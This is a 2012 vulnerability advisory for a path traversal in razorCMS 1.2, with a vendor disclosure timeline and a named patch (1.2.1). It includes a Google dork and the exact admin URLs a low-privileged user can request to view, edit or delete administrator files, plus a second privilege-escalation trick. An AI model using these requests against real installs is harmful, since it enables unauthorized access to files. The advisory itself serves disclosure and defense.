razorCMS 1.2 Path Traversal

`# Exploit Title: razorCMS 1.2 Path Traversal  
# Google Dork: "Powered by razorCMS"  
# Date: January 10, 2012  
# Author: chap0  
# Software Link: http://www.razorcms.co.uk/archive/core/  
# Version: 1.2  
# Tested on: Ubuntu  
# Patch: Upgrade to latest release 1.2.1  
# Greetz To: <Insert Name Here>  
  
RazorCMS is vulnerable to Path Traversal, when logged in with  
a least privileged user account the user can access the  
administrator's and super administrator's directories and  
files by changing the path in the url. The vulnerabilities exist  
in admin_func.php  
  
Patch Time line:  
Dec 11, 2011 - Contacted Vendor  
Dec 11, 2011 - Vendor Replied ask for details of vulnerability  
Dec 12, 2011 - Submitted details  
Dec 13, 2011 - No reply asked for an update  
Dec 13, 2011 - Vendor Replied asking for a week or two for a fix after the holiday period  
Dec 20, 2011 - Emailed Vendor for an update  
Dec 21, 2011 - Vendor confirmed vulnerabilities asked for two weeks time for a fix  
Dec 27, 2011 - Emailed vendor some "temp fixes" for the vulnerabilities discovered  
Jan 3, 2012 - Emailed vendor more "temp fixes"  
Jan 5, 2012 - Vendor replied sent a new updated file v1 admin_func.php  
Jan 5, 2012 - Replied to vendor discovered more vulnerabilities  
Jan 6, 2012 - Vendor response with new file with fixes v2 admin_func.php  
Jan 6, 2012 - Tested discovered more vulnerabilities  
Jan 8, 2012 - Vendor replied with new file v3 admin_func.php  
Jan 8, 2012 - Tested, vulnerabilities are fixed reported to vendor  
Jan 9, 2012 - Vendor released update 1.2.1  
Jan 10, 2012 - Public Disclosure  
  
Path Traversal Details:  
  
The following files and directories are vulnerable to Path Traversal  
Attack including any files or directories that the admin or super admin  
may create within these directories  
  
http://razorcms-server/admin/?action=filemanview&dir=razor_temp_logs/  
http://razorcms-server/admin/?action=filemanview&dir=backup/  
http://razorcms-server/admin/?action=filemanview&dir=/razor_data.txt  
http://razorcms-server/admin/?action=filemanview&dir=/index.htm  
  
  
http://razorcms-server/admin/?action=fileman&dir=razor_temp_logs/  
http://razorcms-server/admin/?action=fileman&dir=backup/  
http://razorcms-server/admin/?action=fileman&dir=/razor_data.txt  
http://razorcms-server/admin/?action=fileman&dir=/index.htm  
  
  
An example would be if the super admin created a directory within razor_temp_logs  
named sekrit which should not be accessible with a least privileged user, the  
least privileged user can change the path as shown below:  
  
http://razorcms-server/admin/?action=filemanview&dir=razor_temp_logs/sekrit/  
  
Which also works on files within those directories which the user should not have  
access to which at this point gives the user access to view, edit, rename, move,  
copy and delete the file.  
  
e.g.  
  
http://razorcms-server/admin/?action=filemanview&dir=razor_temp_logs/sekrit/sekrit.txt  
  
  
Another vulnerability exist in this version of razorCMS, if a least privileged user creates  
a directory with their logged in credentials, and then deletes the directory, the user will  
then have access to the administrative directories and files.  
  
  
`